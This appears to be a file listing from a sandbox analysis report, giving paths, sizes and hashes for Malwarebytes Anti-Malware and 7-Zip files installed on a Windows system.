Path C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\TelemetryControllerImpl.dll
Size 4.0MB
SHA256 3417da91c99c3a4f99c268dd94ca61e59a76340102af54ff984cbf8f339e24d5
MD5 55ef5563825fda3ab05cbee48bb5cc99
SHA1 fcb57cb21714edfc7e59671e9b3a6d9842a988da
SHA512 73891411be688711ee86b9759eeeb6c66799892f0dc9f668d8233aee95e6b397cf0434463308d6af77c4b592fe5b71dbdd7de031ce3d071657d29dff64c51ad1
SSDEEP 49152:bF1W/kFeq5Y50gMj/gOxpdFhQc7/Kvwvp2BQviqlJgnXTOh5P0gDRYeqpw9WtT3M:GOx0CBmQmnL6QwBiZZw
TLSH
T1DD167C1977A800B5D9B2C139C6A7CA03E7B2B85507318BEF05A1963A1F777F19A3E710
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pkgvers.dat

Path C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\pkgvers.dat
Size 51B
SHA256 2fc07c3fc5e834495d3f76b3f4b6454c57e78eb928cdd343b863d8170f00ed67
MD5 bf86796fe0fb92b34e5f1100d5eb3bb5
SHA1 bc10ef8edff446a9aae29a70be7fdb380979f916
SHA512 ef0c5e7ad46e9dd5dbe3741595b5887b34b75eab30de27343b02e68f0430e8a8cc7c79791f3a0ac1871d362eef3bd34f9bd4ac54e77a95ad1d1f2e1c65a10cbe
TLSH
T18B900228400D51C01C75E1E148A34D044003AC155918CF1442D569324117094105954E
MD5 SHA1 SHA512 TLSH

Submit Download

version.dat

Path C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\version.dat
Size 47B
SHA256 e5ef72fb7af61be42f9f833f5e532ff4128a26e73920832ca87c5f00164e74a7
MD5 f87ee333fc7093fb0a7d0bf86acde081
SHA1 8e5634b4eaf7ad9201be8fb04fd3ed734d3c5a28
SHA512 8530fb2efaa8de0c7f2a102a44fd4a035fbe9a06040290820fe0480e8f9bea2295695cce253023b92ad8ac0f2fe9563a6a0cd10e423e1c2e1fa212146276533f
MD5 SHA1 SHA512

Submit Download

7z.dll

Path C:\Program Files (x86)\7-Zip\7z.dll
Size 1.2MB
SHA256 ca8ab5aeef734f24a3c58bf10b3f0152c2ea1329b02d2730448693df563b4c6a
MD5 a65e53c974a4e61728ecb632339a0978
SHA1 27e6ec4f8e34b40f1e08503245700c182b918ce9
SHA512 b029962f08867496cd3fd5e9af4b0703dae918e938aee759aeffbb4184ea6d3e81e0878ba8957e80d30db5d7b6fc8598e68918a4d16b3d010f31a2e16417593e
SSDEEP 24576:WgiLEtP9FaybY4B7S0APFkWPHMd6axRnt3usIPK59:WgiYXbY4B7EWrTwsIPK59
TLSH
T1B6457D16F7F5C074D58A46308B1DABF550FCE71ACA1068C76BC0BE6E6F318D6C229989
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7z.exe

Path C:\Program Files (x86)\7-Zip\7z.exe
Size 329KB
SHA256 59cbfba941d3ac0238219daa11c93969489b40f1e8b38fabdb5805ac3dd72bfa
MD5 62d2156e3ca8387964f7aa13dd1ccd5b
SHA1 a5067e046ed9ea5512c94d1d17c394d6cf89ccca
SHA512 006f7c46021f339b6cbf9f0b80cffa74abb8d48e12986266d069738c4e6bdb799bfba4b8ee4565a01e90dbe679a96a2399d795a6ead6eacbb4818a155858bf60
SSDEEP 6144:3nzsyDn7PDS+FDflUjvJUkbEOyF1rOpsuCOuOff5k4F/lTRHA:3377SKfgvqkbFyFJCRRzH
TLSH
T1E9747C133BF9D03AD6420231DF5A9BA5E0F9A26909740D4363C40D6CAF74996E379F2E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7z.dll

Path C:\Program Files\Malwarebytes\Anti-Malware\7z.dll
Size 1.6MB
SHA256 2d9b0f8632c6df2ec2aa1e75d839a6d61128a7724b5509f939078f3a52005e92
MD5 a2cc0a771f7507d28d4ea0131695186a
SHA1 e31043104a102b636374bef2a5f92c75ccc36fc1
SHA512 8a1ec52dafe9c7c102ec88df8a95245956238246e1be89b46361ff6d4d69358b08c7fad8fc50d83f59ea6e887e543f53b51eca58d816c3b2d348e57b6a2f283d
SSDEEP 24576:FnCGMETTlVpmD8mCnL4GOnEZmNT6BQCBSA5noa:JtTTlVID58LmNbeSof
TLSH
T1DC753B6BF6748260D0B7C075C5D2AB96EA7134868B30A6C752859B3D3F17BF6C939320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lang_es.qm

Path C:\Program Files\Malwarebytes\Anti-Malware\Languages\lang_es.qm
Size 256KB
SHA256 9e8a6672431aa5b805091c3e08f89417b7ba9ab931a031f3ff9641efccc6ed3f
MD5 09a3995806569a7d3fdb05e54ea815ac
SHA1 f6ea0bd03ef8d01fe92a63c750586b86ccdf7253
SHA512 0d76fe4b70225bbb2bcbf6734ae0a238a9b5b93eb53c6ed5feee30674c5dab79deb0b222100cf27bb8a1035832c3be153e900fe6a6703829a133126a57a76144
SSDEEP 3072:NX51vUguKiiQ6bDYLDCIGHgY0HYofoNZPwCZFZc/fQXEvKKMcYtQM:NX51skbD85Y0PfoNZPwCZFg4UGtQM
TLSH
T1A644DE9123FC624AF6F36F79A97A56549F7B7C96B838C01E0320616D0870E44DE7A723
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LicenseControllerImpl.dll

Path C:\Program Files\Malwarebytes\Anti-Malware\LicenseControllerImpl.dll
Size 3.6MB
SHA256 2a12a8240f416ed00329b6ea3e2d01bf759d758b59c6e87ed22d1ebe71818a2d
MD5 907cd3b4605457a0fcc4c884fbb85c80
SHA1 6aeeca92f5ccf58b86bb1d5b2d0babe0b4e432b1
SHA512 87251b2ba3f7a2b4e07d9c89026a53707125ce11814131612abf231c6c34239b02e1567eccb8cefededce95cfa70e8501c5c6049f8aa967d7fde917ff13c0791
SSDEEP 49152:Z1C7ZIwl7sNlD9WZd0XyL7HlgfqqnEF7kLf6GcNdjOh5PNDKOnYnqywBEmTkfZPW:aXxqEFbYDpSwBgiSUkBaARK1
TLSH
T125066B0677A840A9E8B7D23C95A78A03D7B2B84617718BDF0690467A1F737F15E3E720
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MbamElam.cat

Path C:\Program Files\Malwarebytes\Anti-Malware\MbamElam.cat
Size 9KB
SHA256 42b5c504cfeb02e7d12526ff5398d6063f3e9b3661bc4fb2ce312c7c6213af84
MD5 988b553a227f7f37f14abb060a320b6f
SHA1 f8244956defa0241dca4a6d5e5ee159b5ff96ecf
SHA512 4c080c853d9a9265ea80fab43cea78ed9230c7be7977f84bea98847792996a9434dc8cfeda96ab2f357eb86134cd81681c6b91215b3f61e89dc96fcdb15e4324
SSDEEP 192:QVjUjKjajeyk/JCCtpyKWFWQFjvFoodqnajqqQtnMV:wiFRhvSIleqGMV
TLSH
T12D2208E2496C84C3E8A36DA013D8F8977C3E67CB5850406D25ABF7A80D937C6FB0942D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MbamElam.inf

Path C:\Program Files\Malwarebytes\Anti-Malware\MbamElam.inf
Size 2KB
SHA256 793626d240fd8eefc81b78a57c8dfe12ea247889b6f07918e9fd32a7411aa1c3
MD5 c481ad4dd1d91860335787aa61177932
SHA1 81633414c5bf5832a8584fb0740bc09596b9b66d
SHA512 d292e028936412f07264837d4a321ecfa2f5754d4048c8bcf774a0e076e535b361c411301558609d64c71c1ce9b19e6041efa44d201237a7010c553751e1e830
TLSH
T1A1410355AA578BB4257B31B82D472883BE2412205065784032DDC8C99B7CF1C93757AB
MD5 SHA1 SHA512 TLSH

Submit Download

MbamElam.sys

Path C:\Program Files\Malwarebytes\Anti-Malware\MbamElam.sys
Size 20KB
SHA256 228ca2a510bb8bbf0e0ab29455bb0961b82774ff74e664bb20a864758b8b0904
MD5 31e4ac0c3d3bac32082304bd43560760
SHA1 ac98325151661fc73674bfde8f40d2322b6f6f86
SHA512 2cfbf89ffecb1a001b8cd4f61d02681cac5900ea3166825cbe77982cf5cec40dff1cd0e2c17d3fb73842273e083b60683baa94dbf995c65d42300c4741196a64
SSDEEP 192:HA4Xqn3kN+0weWl6gvEc+PbsQ/i0RtPv6NQ4HUq/n+WiVdDIVWQ4uWs8p2kacqnY:HZM0bWU1JhLAUq/nn58pUclOf
TLSH
T1DA926C966AA800C6F6BBD9B1C7E5C567BD38F382771046DF0161E4A51DA3BC26B30A1C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ServiceConfig.json

Path C:\Program Files\Malwarebytes\Anti-Malware\ServiceConfig.json
Size 606B
SHA256 3105b8e0e8eee545cabc809d61c2b869148d139f85bf5abc52b356b8c0767581
MD5 545c78317f83a1e7aae71af0ae05c9e5
SHA1 c27a5f11aea5014896da4a3aa19db9afb2d6527a
SHA512 ad635c78394303e9b9b82c2a5bdacbba6a4116465780a67ed79a992f988dfe328468c6e2a15bf7acff6cfe946174e113c95f438bc8f81b7e146ccd71d32bfaff
TLSH
T1E1F07812A8AB86B34571078856540987F5278F8E1314190FFBB8DBE5CEBED1986D2884
MD5 SHA1 SHA512 TLSH

Submit Download

ServiceConfig.json.bak

Path C:\Program Files\Malwarebytes\Anti-Malware\ServiceConfig.json.bak
Size 607B
SHA256 da66917394bde3794f48a040e7fea53b97f93b0105b51af73ec0a2238217c5c6
MD5 c3775ec38fefcb1797278e4167668161
SHA1 b36f78e5a53c32d1bd18225197b2a831405ced5a
SHA512 46daddc9701f82a81c8d7455f91041497fa4900f284a56e7a842bf0f01cdde1ca1005bdee0b3c05a6b99911e68220325fa95b6eb7d848da814e005c75e422a9e
TLSH
T12BF0D822A8AA42F2013102C496840587F622CF8D0215190FFBB8EBA5DEBEC4846E2C88
MD5 SHA1 SHA512 TLSH

Submit Download

UpdateControllerImpl.dll

Path C:\Program Files\Malwarebytes\Anti-Malware\UpdateControllerImpl.dll
Size 3.5MB
SHA256 ffff47710970e3bcd5e8c2a28867a2e2dc0c01278a531223e535efabea528781
MD5 235404716813d5b32d26fd17aed9112b
SHA1 c77d3fde646cc07c274cbc2318fd884a6c8a4f36
SHA512 6aecc1de3cb86d25b66e81badc7b6966d42fcc72925414594e550bb7e71d569835001fac2e5b6ee179307545bc395717c963110ca7c69f0bbd55b9132a11e5eb
SSDEEP 49152:NGe+Kd+YrN4ZR9fNtDKIbarAG47eo+IIQCGFNztikyu/Oh5PyqXD8Y8qHw8ZnTU8:hSDECPIAFWX4sNwu2i0uGj/OT
TLSH
T1F9067D1A67B840A4E9B7C13CC5978A03E7B2B81607719BEF06A0567E1F337E15A3E711
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mbam.exe

Path C:\Program Files\Malwarebytes\Anti-Malware\mbam.exe
Size 8.4MB
SHA256 0dc6596eeda04c2f82bf232059aaf675d461d6302710a14fbf0b895ae44bac6e
MD5 0ef8c690deab2e93b2cff1aaa5302065
SHA1 469b8673542ae6bdd6467d0a83123704ea6a0306
SHA512 3244b549381d7e9db957f1c06f2c2b81be0fdaf67e5c706f499d80819e016841e19cc55e252adef29e9b95007f8bd9ddb5bdae868bb98fac31e0ae5da1c87b6d
SSDEEP 98304:aNLtED1rrlCrVtfoLuR9ows/iy8ilqhB0Zo1Fwz3WGN:aNLtED1rJCptf9+FchB05bN
TLSH
T12E9659303B54E26AF56142355C79E689323DBC962F6942CBF28C133E9CB16C1AD35B63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mbamservice.exe

Path C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe
Size 6.4MB
SHA256 638d1e4201f7e8e0f5aae7d880fda02874cbbee98eff48e9e1fd0291451a0ac9
MD5 327cb21b41ce523e2faba8e17ab24404
SHA1 6dcf3b4a21433b7f365e16a89a131e17e1de4cef
SHA512 f445f6020997ebbf513f9a470576a84d4b93823e2e143daa7408e7bac83276cb75f8e37c31046482a1aaf1380d6b27218be5b85b045ad6c3200baa7855e68028
SSDEEP 49152:TLlCQh7ZDAkoJb5okUE1LQtea4WkbCoFdhkKxs3RIc/yw5Oh5PMHgThQgLhtrPBX:XlCIylJl/hM6KAWinie0xL8kO
TLSH
T13866C305A7F941E8F5BBDB34A9B7952AED72BC619F3087CF4115160E0E32AD48D38722
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mbshlext.dll

Path C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll
Size 2.3MB
SHA256 94a820e238024dc5c65785b37141020078eed9b170be4389f085577637b538df
MD5 439e2f41cc91de42214d5ca2ea69ecd1
SHA1 538bbdb5d0b7e563dbe1b1938e676a64b829b9c0
SHA512 8b9ea8e345150a140e82ac53424bf4aa8c5d05879034b7057e453fa3840a4fb4e09998f43c67090084c72cbcd7499fa145141fbfe56599ef25ce62f84092bd04
SSDEEP 49152:m52v79ShCBZM77qpT0Mbj32COh5PAbx7X+RPBiQJqjC5l3e:TIhCB6kNyiQiCj3e
TLSH
T193B52921BB5804ECF966B138A5EB550AF6F17A142361A6CF0558377D1EAB3F112BF2C0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MBAMSwissArmy.inf

Path C:\Program Files\Malwarebytes\Anti-Malware\sdk\MBAMSwissArmy.inf
Size 2KB
SHA256 9c5dad17bd0878115a88a4c94405fbd9048294462eea474f265ddddedc90771e
MD5 0ff3f3ba83e1dc78aa42e205e1a01867
SHA1 0a557f31af77bfccccd9530227d593efb4809fd2
SHA512 80543530d28722b926d3aeda4a0c61fc5bea1812e38a3a1b7b84a5a1803c078bc54c32eff23b96766fd5e27301818f105d86235cdddbaa0dc51ac347ed3d7dfd
TLSH
T15941DBD8A1D386B62686B2D17E0741C7FA402A0049FB3414B2DD9096D3E7A0F93B0BA9
MD5 SHA1 SHA512 TLSH

Submit Download

MBAMSwissArmy.sys

Path C:\Program Files\Malwarebytes\Anti-Malware\sdk\MBAMSwissArmy.sys
Size 268KB
SHA256 1d5ec9dd832ea97b5984939605897749c786094460cbd731ac2c44712b65cf0c
MD5 303f8c619d472c98754b369e582f8e17
SHA1 71b32fb7b9faa4747be0c98a41fc88466e981b08
SHA512 72241900cccbac3c19193f54649ff9bd89537a29df29d859f1358457ec9976c4b2a5ce8362b3438c7ad7feb8fb3c47cee00dbddb6e408259f8d45d7d9f30dda1
SSDEEP 3072:hjzRMsUuxyJn88WZmQ3e1b7mYL+di9/gJ0ncXe4V2BSCxRroL9+lhn5U4Nok6ZzU:JxU88WZE9/i62e4eRrLOZxHHIKfRi
TLSH
T1A8449C06E3F52966F5AB89798AE2D106E7B274462730DACB9370C4153F577E0F93830A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

farflt.sys

Path C:\Program Files\Malwarebytes\Anti-Malware\sdk\farflt.sys
Size 219KB
SHA256 1d498436bb314813551704a3e46570cb3216224d6dae5473598df0cec3c5577b
MD5 e271a915b084d17c4b18c26f8eb62ec9
SHA1 28638ae1c1cc5b04fb0f13d7b91c32847c2ae8bd
SHA512 66edec305631440f8f8ae3b75eae8c165b5d8c86e7cb3ebb947e6517c6fca45c005f6f7f77adec6f2bd2e7e9c55dfeaedfc2f10c7187a64904062b2d124ed8fd
SSDEEP 6144:+e6kC98JBNZPJ3iRRzlBF5pGKHIkuboDcxvsknA7q:+tkXLh3+LlpGkIkubocNsCAW
TLSH
T1D7249E11F3B40CA5F9A7D974CAA68147E7B278051322E7DF03718A661F637E0BA39319
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mbamchameleon.sys

Path C:\Program Files\Malwarebytes\Anti-Malware\sdk\mbamchameleon.sys
Size 195KB
SHA256 0c7c976d097788650cdd4440a421fc5f80e6a3ab33445e7e8ac49bd0d999fea0
MD5 af6d573ff797ace9f62cf693a18ce8af
SHA1 c947458393289e420762f005bc8d8a7e8c905f3c
SHA512 5284ce3a008b4d5504dc17c96510aa0df416c08a9b57206982fc2b1b190535c52975827fded4fce7f09160deb8edf7417be665656145b085b4ecae7c503e950c
SSDEEP 3072:3gmvViAVeHcN9E/+1GmA7KO9ItwO2/IYHtibi5Lq+len5Bgf6rlF0Pf4E/CyL:3pV4k9ESXK054pEbiYAGcPf4EqyL
TLSH
T1D2147C15E2F41966EA67C8768AD2C103E7B378492721D7EF533089291F673E0F63931A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mwac.sys

Path C:\Program Files\Malwarebytes\Anti-Malware\sdk\mwac.sys
Size 113KB
SHA256 aed5fd68add4ab2e602c3dbb7956b83f6b04be569ac8910781a07cd4ff1d9a3e
MD5 792f29fb1d0efb9410b26601772e2ba6
SHA1 2cf7b518b3be82a9cc98b9d8d83256ae156c34db
SHA512 88e3c9863bbf2d104d893f66568b6c264a6d1131690c1caa22c68cecbcb4837d461144c831f3d9e824a3e882cb2485fbaca9cebca9edc1b319db6d278807c2a2
SSDEEP 1536:OByfXqdus1oMVH1vevBPH2VcV0CRpydt9Ndv99weJJvIawu1f82q039H0qZkgn:OyfX8oMVH1vepeOPp2bvP82q039dn
TLSH
T1CEB35CC663A814E6F2ABD579C6A6911BFBF1B401271287DF0370C1662F53BD0AE39319
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AeConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\AeConfig.json
Size 994B
SHA256 e2b8532abaa3f9508a35abafa44a2b608047a130cbf4a0dd846e293e747125a6
MD5 e4e578c6e90081aa304e822de40fb5a2
SHA1 722003eb2ca34d0e956183dad66f81eb2e6343f6
SHA512 6e762d263de45a5ce8602cd142aa0d278d5f3a1a60ecd93fe3fd28e0853c46a7db34f67816aa7c0138fc54b2666ef2f4ec508af5629a2f5d7c046023e4df0201
TLSH
T1D5112121060191BEB33D4A5C9D808E9AE3230F732080C94B72B2EDC8EEB7605415A46F
MD5 SHA1 SHA512 TLSH

Submit Download

AeConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\AeConfig.json
Size 41KB
SHA256 4425fd669e72f74a0efe9121ad57cf7ca1b2ab53f335430da58b8a7f63893471
MD5 8c5ca25281edfcdcba932b990c70a3c6
SHA1 30f147e03a3c7e56c01ae8cdc491d17c51ddba4f
SHA512 cd31a16cce02f86d5be0a4607351f9fb5d6d7256cf6995b2c16b90cff1b2ef5018e1aff465c73cfa58527cd8fdea991237773a9d33de1ea4fcc56795419edb4d
SSDEEP 384:kDSFC/kh/b97AcAgOraQbpcp/tLRsOmiI3YIb:/Ikh/xEcAgO0GP3Yo
TLSH
T1BA13816AD8D80C0A15352694A9794607FA270F6F32580C07FD7EAFAD8F7F11294C8F5A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AeConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\AeConfig.json
Size 53KB
SHA256 a73444d95967bece8d9f6b046fb36784f71e931688b2b3f2f05b4623019c683f
MD5 35363ec6c69d0ed4bd518e21ff3aa42f
SHA1 8b43277bd66530917e6c52e6ed105312d3d0edb3
SHA512 0a4cc94e0ff0452198ecbaec12ebc5d14ff7ef544c5990b0b6074f4f1e8edd402e395fc660a8a411a829b4ce19de46f59e5918a93b825486cb1e235b1fbbc731
SSDEEP 384:oDSFC/kh/b97AcAgOraQbpcp/tLRsOmiI3YIsfz:7Ikh/xEcAgO0GP3Yvfz
TLSH
T19033D626D8D84C1A143626A4AA790507F9670F5F72980D07FE7DAFAC8F7F00294C9F5A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AeConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\AeConfig.json
Size 53KB
SHA256 bbc161c0849422426bc4bd38e6a5dd89e93778601f4bf380f1453166ba348c2d
MD5 b9295d70321ba8251b7a2ece8bc9d7d0
SHA1 77aff26a0277577d5dd655583632e4c2859d7a23
SHA512 b261783622b7c5c2707d2a2ed0a487fa0b9a7cecd1725aa97ba939d59dba49947a3aa88ed0705216ccaa0fe962c1d8f36e2e66c27cfa585c1ad5839d79a4dac5
SSDEEP 384:GD3FC/kh/b97AcAgOraQbpcp/tLRsOmiI3YIsfz:UIkh/xEcAgO0GP3Yvfz
TLSH
T1F233D626D8D84C1A143626A4AA790507F9670F5F72980D07FE7DAFAC8F7F00294C9F5A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AeConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\AeConfig.json
Size 69KB
SHA256 7bee9201c12f8dba92b526a0ec73893cb2baf4cdb071e5b95171cb9cc51132fc
MD5 5c83d77e6980757fd73de45a1d882a5e
SHA1 75dd3cb94689607385d1118c47894645cdd0d3a3
SHA512 ace01e14382d73768a587653d6ae910a08968122489666e082f7f1227fe1323c14f61bba41d4e04a0fcb94268e5374473facd64a8de0ddcd3dc3b6cbe2b6e270
SSDEEP 384:hD3FC/kh/b97AcAgOraQbpcp/tLRsOmiI3YIsfAyiz:NIkh/xEcAgO0GP3YvfFiz
TLSH
T124636137D8D84C6A15322264A9794203F9274F5F22890C03FEBDAF9C9F3E51295C9F99
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ArwControllerConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\ArwControllerConfig.json
Size 243B
SHA256 dda7d641b6f5fc5eaa874a22b492c11dad8da004a4b33139dce87c99229fc9fb
MD5 902e1f1a1628b528db3fefa2b7a2c7d1
SHA1 8a2c879117beff848d2cc5d79f8db28ddf56ab92
SHA512 0812792f978449a95b75693a05bf520d870e91bff6225a608359051c5ac98a45db2951f9f9091d83b5be6e27e87b52042df50d6a7d25ac4134aa116461adcbb0
TLSH
T192D0A7323744717DD57A810A8A91D451F513CB83921A544731B4CA14ED3B5307557DDE
MD5 SHA1 SHA512 TLSH

Submit Download

CleanControllerConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\CleanControllerConfig.json
Size 497B
SHA256 67701d7d6d60523a152839942875d983e9d25cd6bf6786b24abb5799551dcf1a
MD5 1c8777da27dbfa06bd4c296091ad0783
SHA1 879a3e30fbad8aa7c630f5b4880e12bf3edf39ab
SHA512 75aa32f39df3c88f9430f66d2a73cf6faefae8e54700b950b41e3c95c8c47976bce64c0f23b95fd4b14cea9974a2c9e4ac045f91adc9c485926e8c38e982e0e4
TLSH
T170F027328402693E2576020DC867CB41E343AF9C2456444BB2FCC2ACED33832901FDEC
MD5 SHA1 SHA512 TLSH

Submit Download

CloudConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\CloudConfig.json
Size 344B
SHA256 90e92f8c0c615608f804bd921d85b6f70d0a314fe604e8b04f08b294e5727178
MD5 0c4cf587fd09de3cd7b9d0696a8e42e0
SHA1 86228ab9f52a2473e337fc448a943a6cd25ebb6c
SHA512 2d1fde17e54b4f52263de2c3b66ef40da8e94dc7ef4b2dab3f37cbc397d0d58b7ab8de28ab2407d4369eacb2dc6edae27572faf96f2262dcb6bd0cbb9888f6bc
TLSH
T1C0E08C4B2A22723C45BB234D8E064C4CC7229F0764850C073232C788DE33A556013F0F
MD5 SHA1 SHA512 TLSH

Submit Download

InstallDataConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\InstallDataConfig.json
Size 107B
SHA256 1d98289498b4884b6446bce8ab9fde337936f8bc22a87fb33a88fc129afc71e6
MD5 98641ae94c89a7a6c287b7c855d06e71
SHA1 40ba6326dd0e0fb3fd157550f8f38db92ff889ab
SHA512 124fbbb711cd1b48bc01b4273eb3a016afdcea3c6d6b83a464b985322a5eb6ddfa23f5ec8dc602a098243366e7e706da365875523de2b904ee786adaf3aa5877
TLSH
T1D6B0126A1B0AD03C5C211701FA05584BD25C9D504CE0C83078F301584E1F6D8932FFBF
MD5 SHA1 SHA512 TLSH

Submit Download

LicenseConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\LicenseConfig.json
Size 10KB
SHA256 0e510f8c378db3d71c3f2e4319910714846f93c328c8f7b60f847ab21300fc04
MD5 d76533d71d2892ddc6663a3737e9de5b
SHA1 e5ef7d4666cad2fee06a32d9adff01f8daca4376
SHA512 be3c20364d86cfb86498f7cc94ad89b86f6f353d583e72b6aa10c912bc8dacaf879e39a96cc81445adaaf5e86022c6aed75be51d0f8e3fb50b5567f1d4740856
SSDEEP 192:VhgSYRBimwEZmaKUdRyLL/3X3Z8RERIVY2ObncJZLRAPvPt+W+xR9SaYaVW5:4SYRBimwEZmaKUdRyLL/3X3Z8RERIVYf
TLSH
T155220227D1609F792ABAA173A1650342F223DF5F144249477DBCCA8C0F3F92A21C69BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LicenseConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\LicenseConfig.json
Size 10KB
SHA256 28b3701173d9f66c62c3e81d392b78cc681d9a71f552d25d0686c75d8979679c
MD5 d3b384e9e48752dc2db17e42220adc5c
SHA1 2d5b1d6ba754ee030f05862ec9a07b707466cd48
SHA512 05605166fb1d2dc5e55ceaee24c4a1471e19ab66c35b647530eea962ccf7f10eacc1d1a9fa49a2cc4aa775cf543fffde41dcfffd7e86e80bcad59222cdf389af
SSDEEP 192:qdhgSYRBimwEZmaKUdRyLL/3X3Z8RERIVY2ObncJZLRAPvPt+W+xR9SaYOVW5:qgSYRBimwEZmaKUdRyLL/3X3Z8RERIV0
TLSH
T14422F227D1609F791ABAA173A1690341F227DF5F144249437DBCCA8C1F3F92A21C69BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MwacControllerConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\MwacControllerConfig.json
Size 1KB
SHA256 c60ae510b8e1408e6c56256dd7adb4eb8f1e824272e688eb5f559f8dc8365637
MD5 30169f58c561429f591d82d7036ff746
SHA1 26c6203f43ab7afa1616a33a4fd7652d56b05e12
SHA512 5b9555e8de1ad720fd27b2ff4794dd91a425025d094f177335e5e25b89039fbc8c75f5ff740ba35252d6b9a06fc831f0416b9d4d629714ea338e667b5f896179
TLSH
T1F631AF32E2582DBD09F4526A7D595311E6039F1B426808A3B6BDDB6C4F3E405108EB2F
MD5 SHA1 SHA512 TLSH

Submit Download

PoliciesConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\PoliciesConfig.json
Size 803B
SHA256 8376dcda92bc99247dfb06cb8e1a73e52ea8592c5f204e1d6c92ea39ff3e4f5c
MD5 6ed754ae0918422e5a44b1b8d91f81a1
SHA1 14004399d67d220c97f6986186c2046e9708699f
SHA512 54bca258a282f58393e4e3fe258a1b6fb2f3263669e962396f81c7f8e8add0f291ff457cb16a39ae3c5670a3e5cb04c8503bfa06a50582366bc3562c17264847
TLSH
T11401FC27194088BC693A4268951794C0E3435F963517081BB7FAEF0EED7662A61C188D
MD5 SHA1 SHA512 TLSH

Submit Download

PoliciesConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\PoliciesConfig.json
Size 802B
SHA256 00903fb34b6f6504955e7dacdf5f27fa3cf1ddd51baa06c4888739750eabdf07
MD5 99855402a52a8227c8c335ec85f9ef74
SHA1 f0b094b96d1cf23cc8fd5b34f13e356fe0552fe4
SHA512 a4341390c9dca7c685bf112ec45fc70b801230d51bd4f2e233f8aeabc03b2ac31011ff68e5266d0fe19c654877f3d011f4aa72876ee516bea36f8158a98d2ea8
TLSH
T14401FC671C40D8BC6D39429891279481E3439F56350B042BB7F9EF4DEDB661B21C588D
MD5 SHA1 SHA512 TLSH

Submit Download

RtpConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\RtpConfig.json
Size 645B
SHA256 e0041efa799934984f1934b714178dd0898deee6bf30e7e3765a5bb1ca7b935b
MD5 a5298c2e14de8a20feef2421bd28810d
SHA1 ef9b4df3d7f53d47357fec3857c85910b65338d8
SHA512 d390cc83a69aafaf4511b61e8d9d50eb28e332059bafb07fcea4093b1f4357237933ee12ff084915ae1ce07f72e5a669f42bed009f70d65fe2425db0bc95de4b
TLSH
T193F04C37F5405D3A8874C3846A3C594BFA137F6B1255146331BFCB98DF7A112C646A1D
MD5 SHA1 SHA512 TLSH

Submit Download

RtpConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\RtpConfig.json
Size 447B
SHA256 9b4d08a7f36efe787528f2aba0581e4522bded9bbf862e517d74a4fadb443931
MD5 aa1117c6e3f220862cbb51c256171e42
SHA1 56a018e3dda19900dfae47cc69e109d0a75cd324
SHA512 429220f70c16c0031052659bb7ecae03f023d3ff2ae69a503b1f20f1f35f701661005dda6885aa48a9324239d0bd5c363b5db04de7a16fc7724e0508214e7d9b
TLSH
T1CDF0E526AB8055BA487483841E2D5987FE13EF7E021514A731BACB9CCE3B526965680D
MD5 SHA1 SHA512 TLSH

Submit Download

ScanConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\ScanConfig.json
Size 3KB
SHA256 f3c083348460deb662f594451fd91ce0535cdcecb6e0e8909f6aeab354917496
MD5 defb2ba2d09ec1d873ae5c92d351cf73
SHA1 f25c56b3cb79178abef9d34968248611d9a0dc91
SHA512 56f231d6bac8e42250c8ba7f6ff0b39dd7421615a074838d5139fa888a7a7f0341b58a822af6f353df46062672ea73a95bb973886f34e41ee37c13f8ff75b041
TLSH
T173718713D5104D3E5CB6839E98188285FB138F5B5202086BB5FD8BCC5F7A2336587EAD
MD5 SHA1 SHA512 TLSH

Submit Download

ScanConfig.json

Path C:\ProgramData\Malwarebytes\MBAMService\config\ScanConfig.json
Size 5KB
SHA256 30e17fd1f98e5620999465f03be73652ebfcca6262423746b37947fd36417036
MD5 4e140847cac5a46a29413ccbc0e49efb
SHA1 6d7f8682260e17cfe64a205c20e112108379c32c
SHA512 0017713538d500e75b0a2db4e19b2ba158630273b99e4f4502c72e8b1c5f29b74508aa920cff78fe28eed1772cc8630a9bf34d121a7f1436a5ec1a4d9dab1e4a
